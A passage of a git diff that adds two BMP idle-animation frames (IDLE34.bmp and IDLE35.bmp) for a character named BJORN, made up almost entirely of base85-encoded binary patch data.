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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cc9a018b6a7d8d47f2f7c552e50fe99fed032c72 GIT binary patch literal 18462 zcmche2V7Ih*1+B8+UR0KniT21g+>gU$ zNToLH;0VrsW8+88(qG&EBrE6zco3h@*Bk8&u~a%tW;&ZNEv6vcO(h7&)dcr#_ET|4 zraeLKu&BBWT=|!)5V$~tsP6xu>f<}05$fhQmj8$q=o{bw))hPi95qZ|JrG<2N_S6> zhikayGFLo&J4RU^#!i$H1@6uUeV`SX5Ox z;rpo}LGhvfWcz9C=>|SJ6HMGpxvtZMeopjoPm#^^Fr3IqRO-qWV?KOPcNyFV9My0i z!Rf#G8|O})XDFDV>7j%gT=ZO6pd!F8$376;%~BQKzllRtCuZN7AmFl zq}kQETX%1J|NaBeE=^B0odxYDk6$D*qs`q77FSjAnR!$G6{|IF`uC%C9i|hlv}j~p za#{J3sao!C{uUWaf{;v`!-o!o-}d+Sj~upFuio8n?f7BO52=MIsM#pN5e}_}2toP< z1%)sew2gJ^IRdtWlf%2W?=;UH`P;AB-^>d7u2I^$+BmRv_-Y^PvqP%+h!k%eK^ zb&J(se-?vAsN1*hgwkv!J1C+I89D|Z7LaIV<~7aG+0gDh9PY(Bj2-@9l3oVl|(Vp<$NBns;ssqkVSUM#Jp2~k^qP~q)Z4-t|c6N4XMyTSrG?*XcALUQu(Q`_&h+G0B#QW9DSKt!O z1A+R1c6Ie4q`-o;EIO_P=@;j_V%74dhAmB-x9;1!f7gy(2zV?;f|blZnCe!Pi=ow-h|{dB_2X()F`q>ph5 z%vX?_nznE6KJd8zh7N1)@%HU|29pt%7oL1lVeDXGGR_YUi^C>RveV|vgego0>&=@t zU$Is!DkCJ@L}4vJH&a>^F$>^vnemu(3_2N&NR7cQ!Np{Svu67S#aR>6+?18xF(k{f zvdS2oA0@*nd9lBu93q_WB|ShAoDc_6V5HCzhy!JkfxV*%KHhbSzje|KqkvPV)fP?T zv4F;(m%oy$2K2>?*C;eHSYR`&CCL*WXrk-yV=0_I$;U`5)PF|i_oJpRU9uQFN29u+ zG4OE!%g&(KDot^6~F7@Kg^^~4uvi8wj-J#ipgYGkNTH`IC_H#pR@-cyP=NGI8=Jy+g z3cB~ltixR%dj9-15)&KCvra1aW3Po$cT$3V5@s4hr|7$a*jHc6(!mG|4-@qDKGv{m zK%YE*QdwD5UQsrubhd?)bEMQe{REr7kr0(16DotmWcbsTKv7Bl-U(D+gu8HgnCuu^ zSPO-Oj6-pp<>lU-d{4g^OYuBkeu*n@Wmw9c)R?(YKSyksyUffGYCSm~?YhF2ZpS86;ZQ8Pjlf`3H$b5LQoQ0{`YfFg5TzoYrLKb8T zF%c|-$q$o-hiTF+F+L$$2?8hCLT_2QZ(y7ylIg5mfX-V~?L#FCFd724K zCx*s2&T}xNr=?|rhYk$<@gfg~Vnq1^xoU2Zo0}VoH&0#?#GmaUn&ZWp?U{T*7&{-X zKgQa2T7u=|SO;S~(rwX9!-To>OTkV1Kd6_+g$pZ>{do1=2UScIom%h#&jzQMM; zPquE_os*V(c;DgI&t7-6cA*l`#6{5L6HMM70{;M6xf|^fq7%;z~`FjcSv+`+nrVdl6&L%WJi{wDFd<=#(g5|49K;mtc$ zd(X!Qk5!$$L#>@3I=TnC9;%+cRo(A;URAxSWcHlSu8v!`TD%fn6bH%toml=plJXGV zFJ@vGYNldo0Jq3ZUg?V#xi|-!D$D&vv)$QqJX6l`F^e!JIswi`OruHOAvU>CAKv39 zeQ)2s1=0oOFJXVfI&6=IZr-@<8)hq->n>UqAy@|$Ec7DC9pU1j*fb((6*Y1WECv=U z;EBMb+_`OcQ}eduq?F~$R(5yx9F!H0+Se~hq$K=#zEPq8PJKqr~urI>O2WFvM zshgescxF{h@&!J>Hio&-Q#jAZ!f_&;;;2|0L@0(PR>4_&=umtllgeq_(zswj zB^rfZvvSo}Zsi{l|2r!PS-^!y4*%#0HBH-!7VM)64^Tu0se&I_;vWdq65q)tY&iXidvWc*Glp_zhf#0gK%nu+vCPt7}jq1Dzb7V2C|4sWD{Hzx+xN4r-0+N9x7 z%8OT9d!Gz;_71l947GO;zIv9SCGP9Qwa zl!FiE5c3y8Q!-f14ABomK=WMzL@*Z+u8^Z8e-!*LUx zL&4{IChemLb`!<>DUyR!fXhEjP5FrxO7ifFvT_eHwsM>rB!k0>NYGp?sDaA(8Fp43 z9j|1<1yQaQS>#JOtdmRUTyNZTf9ZnT>6D8^zs5Y})<;i=I(h)E3Mlja&X3&>RImG0 zyZ0QicX15jIi)us<7pEuJtqqfakytVymMUsd49?@S(rS?+S4{vCWNL-;YCzzE*vHe zWbI}q)F!}JknutWK>3^VRpU8ayK>79Zky4ZAlizP?jnl!k;MDS(!FHKAu_9$FxA{Z zSO`%r^pVc@AgZM<+qwqtxA#ANrE2ed3WuY;BaOr*GaWp}qAD?xD+1mrw(tx` zaE>iKCv$??*#$cLBt}@+Tj@>Knrvr;SWd(35(m!4t*BiCSpVjH)i~_)=Ff+V9kO=f zWldPgPP}*zL9~Y`+L0*RN5IdDje)^qs8;fYUi@M=*?doVnU`Xo2T7vu?Pq-b+QXlJ z?lPY092*~7vvIXlCU$Z5(it~%=5*wYY0xle%=wGAdLIk{aSqpk){cSJ&Vl<~AAh<3 zq5Hwmi`Oa&MH~`0H6Cx^OZSpr5%Ny31ZUX1lWfs>9&bM*ATr?G$#Z?ZeTx=Vq$DNn z-uJ_n9Xk%}JMitPi4i&s)BvPzNNg;>DlEAHrPzXzY{f}-BuaM>#5-~9^|8Wq?$)MV zuECR2Dtv{-ZlYp0$!rf!hN)NhC@x11ruwcur)NwJg@qI8*kX84J~3*gjMz*>7M7GO zdHAIN@nhBf4mD_NNB=Kv@9*A!cenNZ-PR9)_0GL_?OpvHZT&Iugh-UOd$WX)JvGbU*_ zHlfg`ysE6NwZp+{TG9e9agmFp*hNy{KosiPIUDZSasK(Mp?miqW8&mdUb!?xWnT8G zlH!%wx#c_d9DM#tz2>y4K?m=(e*l!X@4dZ!=XJ~NH!Zi{g5&KwZ*JXr-PJX;YuhzQ zfUSq$1WZ}H_ySvSoFN3#Jw{ht;Dx05Hf(GJ6Yc%`_rTQw_DEB{o%=H@_#OCBef{Pb zmUH@Mq;y@3asyJn86|5#NjJx(?Zia#T=wnT|M0;RPyZS6*>2(jCwYMjFKtFB@?SAg znD&m3ojo5;pKQ5#v!|wR`;I+_o3`z_eDz*y*Xt)QRA62LlLU@HZvp5p_ujPJd3EFF z%j?%)T)Q@0ufMo)^VQ9puYbAwQ6VpyX*(uT>MuXT;~$|4e`E-bP~|6B*u^lugaDvpiC3W993j6*X|h21HUFQdx^k-GmIsd)~R-)^@+cE5Jfl>?+A~ zkYw4@Wri-^<4W>ZJ$b6??)_L%R@2p^_D=8Id9NM7uU@G-dj^3}KUt#AfnR{? z-hFfP*2|x-KfikQ+0`r0E?;_b<-0=g{68%a=417c9GT_cd5y+Pl_)8>wdEE0F}Q7uRKU`h1;Atc^-`AK!3kR z5r0>Hnh$@Qk{o8$j6zS(qcD_r@{&;HvM}Y!$fVUUP?f7AQ`Sb&OT6hEBDlxK&COnc z2Fb-vqFFYqq^W+9-z6ZKx30eeelK8MzGQ1`G=tA9Xs9{2xNIjXj$V|vqNU|!*8|NW z^NF?Pm$%n%y}EYo`Q^(`E)0X7JKcNsWcQh$x=;Spb@A-eg6wK7z3*{zqvc1){5=H0 zK9X=3KJ5rSkmJlt~6|JTDE*?>HLzS**S9;6fIe{XzSK(o$Wop z9fo06&9Bd$yX23s$ygPhv?MfXc|_6*D5%P%;pwZP2?~eQ%rr10NvSDesELXKAXH0= z*udFSr#NeEd)okD?R%^`@zZ@Ig4+7av#zfGw$AqtAE|&l2td`&!*B%-;=T6%JFV|; z-hOlK`tvJSo?N`}=5y^Z~3V!DtJ>s;CN1S{j2d98Vty z@paj}_H1WIfA@pIo(F@yy#pC(3upDsRpHUvPwNc2nN6Yl*FK$CB_y!iRrlS`K$ zojKEe;>Y$M549fIclW@q+dux$>F*WmOR!4bixD)&i??D#TQS0|Xh~zDu90>)&Mak- zw{kHA$#Jrs5vnuBa{4r@DHE+i{jqQ;6A{UVxW@+j#amlC{e1Nr5G^Pgeg4F%HlAe_ zRS2O|O0~bd%wJI%D6b5Zmivk3dn+q^{Nbk8uH8~32_h5pxG5%dnGs7i*(*RhGimA0 zhU1u;DEgu8%C+%a(L z_RA|*AD=znd-7xlU_G?wmwnq?0Bd|S(-&u*ydy!h87XT{kTxesnox=zq?r&?T8e{c zX^?P%XAEOzs5jeenio7iCNvCcYvt=`ALw8gU~b|X7!;bBowa+fdOQ1TxvE*`S5~6Z z{gcam6bm4VGGF;ZU&%ag;T#WfsVfZYux?#_K!h1Hc{*7%nJS)266it#%~n?(u338g z#Ict4j<;aGwgC(ELUsJe{gcP;KYXI<1gyXU_YOUNsRHO-K=#A6z5TmJWj&Dg z@eFh2Q96GsiapmOB-TMsXOg46vqF)cfTHGSFUZcEQ&g}3k0tZDA`e%O%JM}3O(WV7 zIy|qUJZ@HyqSRF~$6Y$l3slh@cYdLZu-G9y&c@rvGoC()p`1(+O`?e>B{0TEMfq3H z-JLF9AQYq=I&!MzMn`+w^SiB&&Yf*tR^4>^%H5V>J=>el&Yit>?woZiS8O|a?8dd9pPoL^dGuiGf!!^~_qWrCNid$Bq7fmg zM@SmtB|wuKQK^Thz63WoVY>7%NpMjlIYJR`iXr6rh7oPtgUkXWJtB~hz$lLpq-QYJ zIe>15nH}biv_E$AM~!qxu$EO-p|T^D3j-vjKB5wLQL!^{1bMlR(qadXz^P`I<5CU zi6W%JQN9r_+7K&kh?h2^M1b`$)tBf7Lm5izqxk0pAm|gE7f84r7|*liRXW@BmX>;x&Fv*py` zo(pFlo;cP4SYeSUe71+AE?QIf(G7+>ljdS?6rd%|dp|Z1(MW2}cV3Iq~PtoCW)8K#fPR*3{O<<|XDgO0(B+a@OO@Hu2v(Z4IAdhw)->9kE0b(@ZD|Pk^bw3_FdHQyF*>Y$k?CA01MY(x)h2{AwRsN|P!83XOSHKd1bp}M{z~sIgP}OhP1vVdzO^mIr?1HnK@=x_uEZu00 z5D*VPwuMqraYz$WV~||mwc}K0*T9Cg$7VX4OBM%;R)tH}M@#EtB@J;xkR?7q1guch zM0tgmu-M%{&MSzgbVVWXb(DxjtRQx9V1$`J$}&J2JJa6g;4bxs7AXI|=4j5&o;e>T zLFa5sowb^ky`G!1o}E=IOk09urou*s860cBV)Dpgr}_{b#?=FXo}Khtw+^2%`GiZJQAC}~}cWD`=f37NW& z6wU^6otRt&K?|&c6e(_GQdC~F=x(v}?otQ^!Yd5QI+GNbf!W;H04Tw>(ic#0IxN>u z{%~7Y7zdTMBRy+1D@V=B&0f#TS=@;O7}1T2xr92K~)`z%VQL z24s>yei%sLk@-z&x$8K?lz^3+SI6gPJMogIx%n6d!*nQu2^iKm0$<0&&!D`tseaYT z6xke*E;TnboH}isvAF?-!oF~>wfDhbH}H`A2JhW_wsw63G&0iOamG|59eW#F29dw4 zV%xr^JI8i)HP#C*-l)OfIpfR$1 zW(7eX_;^-MR>D$#?j~{0TD4q3&8-t~XE||`r$nNrIk;#MggQ9p1Uy^Y%u3hV%G%i2 z(9F~@JlwA^FL(Qn{g;1kYwvoe_9E2&k*cdl)$>sG;He5^hHth!*tzq7LLqf@HlH|Y ztUts*E2(T(j(LPF=fz^Yu`5>-tL%uYg3Qt$eYsU~!;yc__dYuZt3IfC*}d z?qMdB6chPyhF;u^mh2-Xzq?#L=LelWryVA2) zGlyA$4zpQlGnvvUWZ`rR8*LOtkI2(P5XO6Wx-Xcwbi=0R3zzOae5`u;Rt2UhaGikX z2kg-o?-w}!zya>;QGshfCI-CJ(AN24ZS6(`5@u>@U}b3)haeXfm9JdAX06;xgaqb?!2`x|f;y2%gFqz9;?V=UeYHvbey zcv(nlL?`Dc0Y(47zrAiT68JOgrzzXs6T*yF9>|}ynxST`;b*TVF%`zZDP$*2^$IZb z^4DWX^kJA$(UGW@t8d=CSIZ1INB6t?+qwrvQhvcz3s@~<;2VGJ=otVr5@f+&yiuJz zbF-pqMQTQNW=?V4hHYoh-?`uZ`q@*}f|43X?%p^7IavWzTkb#M&B7|bXXg0Ow_&+Tn*h9Q0xhr2pHqLK6n>@-=alc301IM+k8z*}7D z$E);})}#GNfiUD4$(mq^Ch`Gc{C<+)AXRpXgIR|tS)evaUp#%#{;G^%)tKkQKOFGm zBQg#bWiDst)Jw!A0l?}~MU%nGN|PA)MND+|){7;4PsFnu*IYSwx})#Wu$GPpQoq6l zpsj5my1M&&`ra=ruRVVJMrGwja0Fre?fb9Vy8A(51{iIi7Ehk5_U^cBZD-0(v*PDi z3Gy8PE^oH0V7?cx%#*!>;1Dz;fvqjBg$bL`lI8^APMmNzUa*@WJ4Q#8g)d#9-oygy z%vXqCPDik6)cDl#6FO5TiguNxt{3Ik2)UUKB+djpN8?54kcIm8&U&_PV_0-i-4D`_wPSWO`W@A$Fa_?$946)?{~h|STQgQI{H37 z=pDkwv;87;B)JxxRC8{Y6*t$GQ{c!20q4K1Gb~SLi}p4#f+V1&dQj<%(iCCnju_`a6|cfLcU|^N-P(1vUcqC1BB!x76(p@8 zBv8hR^1Rcl;u7d%6S+D#_5>nNJD#j(K4TJ#lG9XsW#gLD7tVG)P;0U}AO{&GKneIj z_d#22t@=P>?cFopCJ8G|^_mS%8!8>*~F434t z>||rQbSgtWg_$&+nQY2THK%0Fpf6`=8BPp{7|)txC)p4q+6uc)0Vfq-dwre~@)~JZ5eox>}#Buc#*=mmo2P#V&&(p%t z^(^eh`1phtX0ESaa~4FOz}7r|p#nS0zyStJtlHSVRrNdqd+GgMeIHv|o@At#{&Me8 zcJ=}`GwJl{D@TuBI(eq`!IL2{O%LtA>*Ey(3De~!8BqiinJHG>95_w4r_)&PSE&xqrYvb5jpkmeB6UZWiu(+{K9=d`4{$#AQs$$FjeOEHG zbEDuv=)@SYRJm;Vrk}6(f`I4EM-^~rPMo+_zj1d{!;ja0?pZK@O;6v4SMODQeX5ED z^|m$+UZLaIim4#!LE`I5i~Wl?a9OD{iEM33ni+OJ!_|M1qnjRrq$jC{h}J+wwNavt zv7$`~;YJ|TICPaYjAInr|b>H1Z>qhJ_kh&?6QpP%QP$Tc9awTL_&G6<1HMns@b z>~XB+RL2NAIB}|-`$W8Wih8YG6)svI1>#!ZHS+7=%I3Hbrv0|&e@hwuu5?GRYBas0 zwFAmP67t>RiQfTn&UDd^Qlc3Ju5sj1z&3pmtwz8&mKK(!h39C~l2tPT{e2oz-Rl@$@=ed1!rm_HaNtP2;z$(aePCfWHNxWveWjbK&eH3DCTG^V{9S^ zSSYn7f2lyFu`C^XS3NXUFOf4Ah+Oj(7zUsLWRW&Sq!&*c8x%9jGjNoL-zX3NQILpH zIHB3xW@+JOarRnP_F7KXI&My_FnF0F0+UbR56L zK~Uu{UKT1|4HW}TUZZv#aXDT>nE-VD&lUJLteVRkH#P(aq0;JTNr4ZBHI~BHcXZQo z40a*pgyZE?v9!@Rh8CW!2ZjOvdHMnkck$7MC+ZQn;}cohpne_+Z9uGs=4cZIx)hNP zRjf;s082McIX@z=R-CnlojV+40GBj-9XG3nn+3v-HLTpDb7J!7-a*=AfgY_O#4*q^ zfv(S==Ps=D6D|n?ajke|xL{dma&2S)#(Ll01Am_t`~qn5+n2B5R4l#>i6oE0GQY>t zzr*v!`v#9OwVxb9_9Ldb5Jh@;=9omrghZw`j;W1hY7uzau=t6t-ugtoE`h0?$kfGs zmhNY0Kn!d+I8I1pjl;2ZGFK6EYXmt!oEp{|9)QkV$;hnbXY4Nyktg_uj3@DQNh!uq zG0fd}oFLbl3sRfqzM{o}!ll8Y;mTg<6N3$X|E~YnzXJdae^5ruSIrd~(Sm>{kRQvM zA57p)VW&Ir^SzVGBlrcOfe2fN0PAq7A6n*&mrNoHfIp=J(oeuFQ^Y!f;d*{S24ub- zfujX1*B505LPayiGLy{MDdq{xaTxkIT8dp>Juhb+XIQA9!OdL7$Xv_H*)vPHqu7%a z5)?XtE;2w`yjG`J#}3|-DC+@1tN_riK{ex0bGURb+xn;@bl~iAP$)430|NU%=eTo_6;T3tRBw8{-ssY(ElDQ_(tPZcHZxV5fd02 zlJd98vQ{#3*Yop+lTg`fm;~Vz97hW*t`s2<6_}m6iELexKnIW!`PvB#ecup$dlx+y zKZ9V@bd;RO-em@WIkh@7}!!UHulJ0;oS= z{elaYTO>6Rw_KXLH#2)BJ$nr+XC1p>gNT>sji&tz7@9ch7#w^2umJ)q52(Xd7c4ab zptL$Lw4Q(1MCSlghY+V=T5u3IGE^8J#ES}~g?J#GT|VnSufbL9wea-%(WQAI1nccH}td=br@U;MQWqvIi4h%oU|Y;k*$sizS!I0hT5yb zFei|N<7v`~_Rcy1VH2WpW5eL%!(+aWM2?Ncj!B@7BXG6IVr`%eIF5R>z#@&JjwYrW zC1fGZ98F*dErxs&aEUp|rrfj{yi7|$t}Q>uRxsBcod+)%-nsZj?bQ(fDXSV+vw1l< zRKB1rkQGO$OHV&qGOJOZw~kGbn4*~DlFFfAlLuHFpwgdkS)bNaB3}zEiWasy-a&d) zkv>?Lhyrb(_C&R+YpWv(HJ{pY0rv{S9F5~?(X!m3%t$l4iLqE6hTM=Uo=g)@VaccQ z(#(0YEWxbh=FDU+Nlf4nUp{~N?b`cotl+9)8>hB%*DhY+%f)^?6l$?3`9QIUU}8*IDuKR&Ppd{#OMJ+gmL$a#lE{F_)kjnGgQE1! zXKL#kYK6y4q6u|LJZ+K?R3K5HvA`8lS1=x6UBZi|V0e}xaWk#mj4d6sBj97n;7YZJ zWyp{lF{IOk+0K$eH>PM3JIk8g!0{u(emr~>bmMPnFSs6*Z)OG80-gDidhP4%UcG#k zxsA0=kdqe{{Iy&tB;M80*Vx=j+t^au) zHxQ=lAF1mdI?>gCs=d#2Yp02x!A2wnB((yTS{WrQf-q98sgkKw;Y6x*3R5zT$kFA^ z^`@<51rp&$4jckK`42$0?WFpO>j%>V>B zKz=}q1fE_zSwAvfKM1Dh6Qb)GpzH3d;{nn3^waeT)eni*g`y{Lb3BSSu!VQvjCV>wY#8p=tvVWn8`S0H0&lj7+3+t+V`hkns8b#MMo`8#qQd0#MzHE&}# zZfWogFpQ&(VJr11B9Ng`hjr*0<6B$z8h12RiR8T%G3YwF@fBgTkg6C;)!Ko*sK{$rzf$ZaOrhZnjrJog`}&H)}N;M0PoAIfWZU zdCiKHZONpif(QkMBIfMgzEgvwe#&1vynliJ|7HdE|1#X*E!4`2MNpWZvzK-tY;+uD z0#&HTlo-&(24paUc|gWmU};LAe$P&~E39K>)e7=9iox!7&bB1!W;t;&J8BjtMu1Pt z%{p=HCr!`Q&iUsTl>UO{ufG0ou!3iR9(^%bAKnifJa9BMH8nEI-^~lWh&tLYY*aXU zESzqL6q}%uW-=B;DH;@<4RZ2I5vGg*&%whKIGl`;U0kqt*WM?64?j^3|K0sx0sM{c z|4Xc&dN+a?d;3~ zyZI5M+ddaCZ2v7;e!ivp|Nknh=EfQs|8`qj^DWrX9spP$e`odqL{PxbHCO)EkE2HY EA7nlCYXATM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6ac2bd204ae9bc4cdbe374cd6cafba1a217278f5 GIT binary patch literal 18462 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 